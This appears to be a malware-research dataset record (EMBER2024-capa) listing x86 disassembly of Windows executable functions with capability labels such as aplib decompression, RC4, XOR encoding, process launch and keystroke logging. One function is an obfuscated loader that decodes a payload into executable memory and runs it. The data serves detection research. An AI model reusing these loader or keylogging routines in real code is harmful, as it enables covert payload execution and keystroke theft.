joyce8/EMBER2024-capa huggingface dataset:
Function at 0x2e70324
Capabilities:
Decompress data using aplib

Disassembly:
push ebp
mov ebp, esp
pushal
mov esi, dword [ebp + 8]
mov edi, dword [ebp + 0xc]
cld
mov dl, 0x80
xor ebx, ebx
movsb byte es:[edi], byte [esi]
mov bl, 2
call fcn.02e703a8
jae 0x2e70333
xor ecx, ecx
call fcn.02e703a8
jae 0x2e70362
xor eax, eax
call fcn.02e703a8
jae 0x2e70372
mov bl, 2
inc ecx
mov al, 0x10
call fcn.02e703a8
adc al, al
jae 0x2e70354
jne 0x2e7039e
stosb byte es:[edi], al
jmp 0x2e70336
call fcn.02e703b4
sub ecx, ebx
jne 0x2e7037b
call fcn.02e703b2
jmp 0x2e7039a
lodsb al, byte [esi]
shr eax, 1
je 0x2e703c4
adc ecx, ecx
jmp 0x2e70397
xchg ecx, eax
dec eax
shl eax, 8
lodsb al, byte [esi]
call fcn.02e703b2
cmp eax, 0x7d00
jae 0x2e70397
cmp ah, 5
jae 0x2e70398
cmp eax, 0x7f
ja 0x2e70399
inc ecx
inc ecx
xchg ebp, eax
mov eax, ebp
mov bl, 1
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x2e70336
popal
pop ebp
ret 8

Function at 0x2e7fe74
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov ecx, 4
push 0
push 0
dec ecx
jne 0x2e7fe7c
push ecx
push ebx
push esi
push edi
xor eax, eax
push ebp
push 0x2e7f40c
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 3
call fcn.02e7fc68
call fcn.02e9ffe0
mov edx, eax
cmp word [edx], 0x5a4d
jne 0x2e7ffb4
mov ecx, eax
mov esi, ecx
add esi, dword [edx + 0x3c]
mov edx, esi
cmp dword [edx], 0x4550
jne 0x2e7ffb4
mov edi, dword [edx + 0x50]
add edi, ecx
add edi, 4
mov esi, dword [edx + 0x50]
add esi, eax
mov edx, dword [esi]
lea eax, [ebp - 4]
call fcn.02e64488
lea eax, [ebp - 4]
call fcn.02e64324
mov ecx, dword [esi]
mov edx, edi
call fcn.02e67270
lea ecx, [ebp - 0x1c]
mov edx, 0x2e7f424
mov eax, 0x2e7f430
call fcn.02e9fcdc
lea eax, [ebp - 0x1c]
mov edx, dword [0x2eb4a30]
mov edx, dword [edx]
call fcn.02e6415c
mov eax, dword [ebp - 0x1c]
lea edx, [ebp - 0x18]
call fcn.02e68578
mov edx, dword [ebp - 0x18]
lea eax, [ebp - 0x14]
call fcn.02e64674
mov eax, dword [ebp - 0x14]
lea edx, [ebp - 0x10]
call fcn.02e9ebd4
mov edx, dword [ebp - 0x10]
lea eax, [ebp - 8]
call fcn.02e64140
mov eax, dword [esi]
push eax
mov eax, dword [0x2eb4b1c]
push eax
push 0
push 0
lea eax, [ebp - 4]
call fcn.02e64324
push eax
lea eax, [ebp - 0x20]
mov edx, dword [ebp - 8]
call fcn.02e64674
mov eax, dword [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
call fcn.02e9f11c
mov eax, dword [ebp - 0x24]
pop edx
pop ecx
call fcn.02e960a8
mov esi, eax
test esi, esi
je 0x2e7ffab
push 0x6ddd00
push esi
call fcn.02e67188
mov eax, dword [0x2eb4b1c]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0xc]
push eax
push esi
call fcn.02e66ff0
neg eax
sbb eax, eax
neg eax
cmp al, 1
jne 0x2e7ffab
cmp dword [ebp - 0xc], 0xa
je 0x2e7ffc5
cmp dword [ebp - 0xc], 0x14
mov eax, dword [0x2eb4b1c]
xor edx, edx
mov dword [eax], edx
push 0x493e0
call fcn.02e67150
dec ebx
jne 0x2e7fe9a
call fcn.02e7f0fc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2e7f413
lea eax, [ebp - 0x24]
mov edx, 2
call fcn.02e6451c
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.02e63f70
lea eax, [ebp - 0x14]
mov edx, 2
call fcn.02e6451c
lea eax, [ebp - 8]
mov edx, 2
call fcn.02e63f70
ret
Function at 0x2e9df44
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
xor edx, edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x2e9d3d0
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.02e63f4c
call fcn.02e9ffe0
mov edx, eax
cmp word [edx], 0x5a4d
jne 0x2e9dfba
mov ecx, eax
mov esi, ecx
add esi, dword [edx + 0x3c]
mov edx, esi
cmp dword [edx], 0x4550
jne 0x2e9dfba
mov esi, dword [edx + 0x50]
add esi, ecx
mov ecx, esi
add ecx, 4
mov dword [ebp - 8], ecx
mov edx, dword [esi]
lea eax, [ebp - 4]
call fcn.02e64488
lea eax, [ebp - 4]
call fcn.02e64324
mov ecx, dword [esi]
mov edx, dword [ebp - 8]
call fcn.02e67270
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.02e63fa0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2e9d3d7
lea eax, [ebp - 4]
call fcn.02e63f4c
ret

Function at 0x2e9dfe0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.02e64a54
xor eax, eax
push ebp
push 0x2e9d4b3
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax], edx
xor ebx, ebx
call fcn.02e9ffe0
mov edx, eax
cmp word [edx], 0x5a4d
jne 0x2e9e086
mov edx, dword [edx + 0x3c]
mov ecx, eax
add edx, ecx
cmp dword [edx], 0x4550
jne 0x2e9e086
mov ebx, dword [edx + 0x50]
add ebx, ecx
mov esi, ebx
add esi, 4
mov edx, dword [ebx]
lea eax, [ebp - 0x10]
call fcn.02e64488
lea eax, [ebp - 0x10]
call fcn.02e64324
mov ecx, dword [ebx]
mov edx, esi
call fcn.02e67270
mov eax, dword [ebx]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x10]
call fcn.02e64324
push eax
lea eax, [ebp - 0x14]
call fcn.02e9f11c
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 4]
pop ecx
call fcn.02e960a8
mov ebx, eax
test ebx, ebx
je 0x2e9e08d
mov dword [ebp - 0xc], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2e9d4ba
lea eax, [ebp - 0x14]
call fcn.02e64504
lea eax, [ebp - 0x10]
call fcn.02e63f4c
lea eax, [ebp - 4]
call fcn.02e64504
ret
Function at 0x2e9e0c4
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.02e64a54
xor eax, eax
push ebp
push fcn.02e9d580
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax], edx
xor ebx, ebx
call fcn.02e9ffe0
mov edx, eax
cmp word [edx], 0x5a4d
jne 0x2e9e15b
mov edx, dword [edx + 0x3c]
mov ecx, eax
add edx, ecx
cmp dword [edx], 0x4550
jne 0x2e9e15b
mov ebx, dword [edx + 0x50]
add ebx, ecx
mov esi, ebx
add esi, 4
mov edx, dword [ebx]
lea eax, [ebp - 0x10]
call fcn.02e64488
lea eax, [ebp - 0x10]
call fcn.02e64324
mov ecx, dword [ebx]
mov edx, esi
call fcn.02e67270
mov eax, dword [ebp - 8]
push eax
push 0
push 1
lea eax, [ebp - 0x10]
call fcn.02e64324
mov edx, eax
mov ecx, dword [ebx]
mov eax, dword [ebp - 4]
call fcn.02e93298
mov ebx, eax
test ebx, ebx
je 0x2e9e162
mov dword [ebp - 0xc], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2e9d587
lea eax, [ebp - 0x10]
call fcn.02e63f4c
lea eax, [ebp - 4]
call fcn.02e64504
ret

Function at 0x2e9e190
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.02e64a54
xor eax, eax
push ebp
push 0x2e9d64c
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax], edx
xor ebx, ebx
call fcn.02e9ffe0
mov edx, eax
cmp word [edx], 0x5a4d
jne 0x2e9e227
mov edx, dword [edx + 0x3c]
mov ecx, eax
add edx, ecx
cmp dword [edx], 0x4550
jne 0x2e9e227
mov ebx, dword [edx + 0x50]
add ebx, ecx
mov esi, ebx
add esi, 4
mov edx, dword [ebx]
lea eax, [ebp - 0x10]
call fcn.02e64488
lea eax, [ebp - 0x10]
call fcn.02e64324
mov ecx, dword [ebx]
mov edx, esi
call fcn.02e67270
mov eax, dword [ebp - 8]
push eax
push 0
push 1
lea eax, [ebp - 0x10]
call fcn.02e64324
mov edx, eax
mov ecx, dword [ebx]
mov eax, dword [ebp - 4]
call fcn.02e93298
mov ebx, eax
test ebx, ebx
je 0x2e9e22e
mov dword [ebp - 0xc], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2e9d653
lea eax, [ebp - 0x10]
call fcn.02e63f4c
lea eax, [ebp - 4]
call fcn.02e64504
ret
Function at 0x2e9e25c
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.02e64a54
xor eax, eax
push ebp
push 0x2e9d718
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax], edx
xor ebx, ebx
call fcn.02e9ffe0
mov edx, eax
cmp word [edx], 0x5a4d
jne 0x2e9e2f3
mov edx, dword [edx + 0x3c]
mov ecx, eax
add edx, ecx
cmp dword [edx], 0x4550
jne 0x2e9e2f3
mov ebx, dword [edx + 0x50]
add ebx, ecx
mov esi, ebx
add esi, 4
mov edx, dword [ebx]
lea eax, [ebp - 0x10]
call fcn.02e64488
lea eax, [ebp - 0x10]
call fcn.02e64324
mov ecx, dword [ebx]
mov edx, esi
call fcn.02e67270
mov eax, dword [ebp - 8]
push eax
push 0
push 1
lea eax, [ebp - 0x10]
call fcn.02e64324
mov edx, eax
mov ecx, dword [ebx]
mov eax, dword [ebp - 4]
call fcn.02e93298
mov ebx, eax
test ebx, ebx
je 0x2e9e2fa
mov dword [ebp - 0xc], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2e9d71f
lea eax, [ebp - 0x10]
call fcn.02e63f4c
lea eax, [ebp - 4]
call fcn.02e64504
ret

Function at 0x2e9e6b8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
xor edx, edx
push ebp
push 0x2e9daf6
push dword fs:[edx]
mov dword fs:[edx], esp
xor ebx, ebx
mov edx, eax
cmp word [edx], 0x5a4d
jne 0x2e9e6e8
add eax, dword [edx + 0x3c]
cmp dword [eax], 0x4550
jne 0x2e9e6e8
test byte [eax + 0x17], 0x20
je 0x2e9e6e8
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2e9dafd
ret
Function at 0x2e9e704
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe4
push ebx
push esi
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 4]
call fcn.02e64a54
xor eax, eax
push ebp
push 0x2e9dc1b
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
xor edx, edx
mov dword [eax], edx
xor ebx, ebx
call fcn.02e9ffe0
mov edx, eax
cmp word [edx], 0x5a4d
jne 0x2e9e7e9
mov edx, dword [edx + 0x3c]
mov ecx, eax
add edx, ecx
cmp dword [edx], 0x4550
jne 0x2e9e7e9
mov ebx, dword [edx + 0x50]
add ebx, ecx
mov esi, ebx
add esi, 4
mov edx, dword [ebx]
lea eax, [ebp - 0x14]
call fcn.02e64488
lea eax, [ebp - 0x14]
call fcn.02e64324
mov ecx, dword [ebx]
mov edx, esi
call fcn.02e67270
mov eax, dword [ebp - 0xc]
call fcn.02e9e6b8
test al, al
je 0x2e9e7c6
mov eax, dword [ebx]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x14]
call fcn.02e64324
push eax
lea eax, [ebp - 0x18]
call fcn.02e9f11c
mov eax, dword [ebp - 0x18]
mov edx, dword [ebp - 4]
pop ecx
call fcn.02e960a8
mov ebx, eax
jmp 0x2e9e7e9
mov eax, dword [ebp + 8]
push eax
mov eax, dword [ebp - 8]
push eax
push 0
push 0
lea eax, [ebp - 0x1c]
call fcn.02e9f11c
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0xc]
xor edx, edx
call fcn.02e960a8
mov ebx, eax
test ebx, ebx
je 0x2e9e7f0
mov dword [ebp - 0x10], ebx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2e9dc22
lea eax, [ebp - 0x1c]
mov edx, 2
call fcn.02e6451c
lea eax, [ebp - 0x14]
call fcn.02e63f4c
lea eax, [ebp - 4]
call fcn.02e64504
ret

Function at 0x2e9ed90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
push edi
mov ebx, ecx
mov edi, edx
mov esi, eax
xor eax, eax
push ebp
push 0x2e9e26b
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.02e63f4c
test esi, esi
je 0x2e9ede2
mov eax, esi
and eax, 0xf
cdq
xor eax, edx
sub eax, edx
mov dl, byte [eax + 0x2eb4694]
lea eax, [ebp - 4]
call fcn.02e640f4
mov edx, dword [ebp - 4]
mov ecx, dword [ebx]
mov eax, ebx
call fcn.02e641a0
shr esi, 4
test esi, esi
jne 0x2e9edb7
cmp dword [ebx], 0
jne 0x2e9ee04
jmp 0x2e9edf7
mov ecx, dword [ebx]
mov eax, ebx
mov edx, 0x2e9e280
call fcn.02e641a0
mov eax, dword [ebx]
call fcn.02e64154
cmp edi, eax
jg 0x2e9ede9
jmp 0x2e9ee55
mov eax, dword [ebx]
call fcn.02e64154
mov edx, dword [ebx]
cmp byte [edx + eax - 1], 0x2d
jne 0x2e9ee4a
mov eax, dword [ebx]
call fcn.02e64154
mov edx, eax
mov eax, ebx
mov ecx, 1
call fcn.02e6439c
mov edx, ebx
mov ecx, 1
mov eax, 0x2e9e28c
call fcn.02e643e4
jmp 0x2e9ee4a
mov ecx, dword [ebx]
mov eax, ebx
mov edx, 0x2e9e280
call fcn.02e641a0
mov eax, dword [ebx]
call fcn.02e64154
cmp edi, eax
jg 0x2e9ee3c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2e9e272
lea eax, [ebp - 4]
call fcn.02e63f4c
ret
Function at 0x2ea7620
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
push esi
mov ebx, eax
xor eax, eax
push ebp
push 0x2ea6ac7
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
call fcn.02e64504
call fcn.02e9ffe0
mov edx, eax
cmp word [edx], 0x5a4d
jne 0x2ea767b
mov ecx, eax
mov esi, ecx
add esi, dword [edx + 0x3c]
mov edx, esi
cmp dword [edx], 0x4550
jne 0x2ea767b
mov esi, dword [edx + 0x50]
add esi, ecx
mov ecx, esi
mov esi, dword [edx + 0x50]
add esi, eax
add esi, 4
add esi, dword [ecx]
lea eax, [ebp - 4]
mov edx, esi
call fcn.02e6461c
mov eax, dword [ebp - 4]
call fcn.02e64694
cmp eax, 0xa
jge 0x2ea76a2
call fcn.02e66fc0
mov edx, eax
lea eax, [ebp - 8]
call fcn.02e6461c
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.02e9ebd4
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.02e9ebd4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x2ea6ace
lea eax, [ebp - 8]
mov edx, 2
call fcn.02e6451c
ret
Function at 0x10005510
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
pushal
call 0x1000551f
pop dword [ebp - 0x28]
mov eax, 0x3c7538ba
sub eax, 0x2c74e39b
sub dword [ebp - 0x28], eax
mov dword [ebp - 0x38], 0xa3a17003
add dword [ebp - 0x38], 0xaab0d548
mov dword [ebp - 0x34], 0xfb43788b
sub dword [ebp - 0x34], 0xc9102c46
mov dword [ebp - 0x30], 0xd0cc6cf0
add dword [ebp - 0x30], 0x7b7fd73e
mov dword [ebp - 0x2c], 0xe9cc48f9
add dword [ebp - 0x2c], 0x1633b707
lea eax, [ebp - 0x38]
push eax
mov eax, 0x40d5d648
add eax, 0xcf2b1a68
add eax, dword [ebp - 0x28]
call dword [eax]
mov dword [ebp - 0x38], 0xf2abe83c
sub dword [ebp - 0x38], 0x7e397ee6
mov dword [ebp - 0x34], 0xadca48cf
add dword [ebp - 0x34], 0x93a218a6
mov dword [ebp - 0x30], 0x5035f9e
sub dword [ebp - 0x30], 0xa193f332
mov dword [ebp - 0x2c], 0xe6356b27
sub dword [ebp - 0x2c], 0xe6356b27
lea ebx, [ebp - 0x38]
push ebx
push eax
mov eax, 0x3333996a
add eax, 0xdccd573e
add eax, dword [ebp - 0x28]
call dword [eax]
push 0x40
push 0x1000
push 0x3a957
push 0
call eax
mov ecx, 0xab2872fd
add ecx, 0x54d7dc64
mov edx, eax
mov esi, 0x52dbbdc6
sub esi, 0x42d985c6
add esi, dword [ebp - 0x28]
mov ebx, 0x697828cb
sub ebx, 0xfc227141
add dword [ebp - 4], 0x515bf346
mov edi, dword [esi]
xor dword [ebp - 0x14], 0xd0a01359
xor edi, ebx
mov dword [ebp - 0x20], 0x82098d4d
mov dword [edx], edi
xor dword [ebp - 0x1c], 0x28b6921e
add edx, 0xd6e3a15d
add edx, 0x291c5ea7
add esi, 0x5eb733e4
sub esi, 0x5eb733e0
loop 0x10005641
add eax, 0x13057
mov ebx, eax
add eax, 0xaa93e42
sub eax, 0xaa93e3d
mov ecx, 0x10000000
add ecx, dword [ebp - 0x28]
call ebx
leave
ret
Function at 0x472cd0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4d042b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.004c530f
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x472d52
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.004c30c7
mov eax, dword [eax]
push 0x4f9200
push eax
call fcn.004b5fe4
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004c559a
test bl, bl
je 0x472d52
push 0x4f9200
lea ecx, [esp + 0xc]
call fcn.004c592a
push 0x4fcd60
lea ecx, [esp + 0xc]
call fcn.004c592a
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x472d8e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004c559a
jmp 0x472e59
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x472e12
lea edx, [esp + 0x7c]
push 0x4fcd5c
push edx
call fcn.004b5fe4
add esp, 8
test eax, eax
je 0x472e12
lea eax, [esp + 0x7c]
push 0x4fcd58
push eax
call fcn.004b5fe4
add esp, 8
test eax, eax
je 0x472e12
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x472da2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004c559a
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x473650
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x4736b2
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x4736c0
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x4d04ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5032a0]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x4737f8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x473726
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c559a
xor eax, eax
jmp 0x47386f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.004c56d7
push esi
lea ecx, [esp + 0xc]
call fcn.004c5966
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x47384d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push accept
call fcn.00473650
test eax, eax
jne 0x47384d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push accept
mov ecx, edi
call fcn.00473650
test eax, eax
jne 0x47384d
lea eax, [esp + 0x14]
push 0x4fcd74
push eax
call fcn.004b7020
mov esi, eax
add esp, 8
test esi, esi
jne 0x47382c
lea ecx, [esp + 0x14]
push 0x4fcd70
push ecx
call fcn.004b6fa0
mov esi, eax
add esp, 8
test esi, esi
jne 0x47382c
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x47382f
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.004c5687
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x47373e
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004c559a
xor eax, eax
jmp 0x47386f
mov byte [esi], 0
push 0x4fcd6c
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004c559a
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x483d40
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x483dae
cmp si, 0x69
ja 0x483dae
add esi, 0xffd0
cmp si, 0x11
je 0x483d7e
push 0x11
call edi
test ax, ax
jge 0x483d7e
or esi, 0x2000
cmp si, 0x10
je 0x483d93
push 0x10
call edi
test ax, ax
jge 0x483d93
or esi, 0x4000
cmp si, 0x12
je 0x483da8
push 0x12
call edi
test ax, ax
jge 0x483da8
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x483dbb
mov esi, 0xbd
jmp 0x483d6f
cmp si, 0x6e
jne 0x483dc8
mov esi, 0xbe
jmp 0x483d6f
cmp si, 0x6f
jne 0x483d69
mov esi, 0xbf
jmp 0x483d6f

Function at 0x4854e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x513918]
xor edx, edx
cmp eax, edx
jne 0x485506
xor eax, eax
mov byte [eax + 0x513818], al
inc eax
cmp eax, 0x100
jl 0x4854ee
mov dword [0x513918], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x513818
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x485597
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x48556a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x485538
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x485610
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x485663
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x48564a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
mov byte [eax + 0x101], dl
pop ebx
mov esp, ebp
pop ebp
ret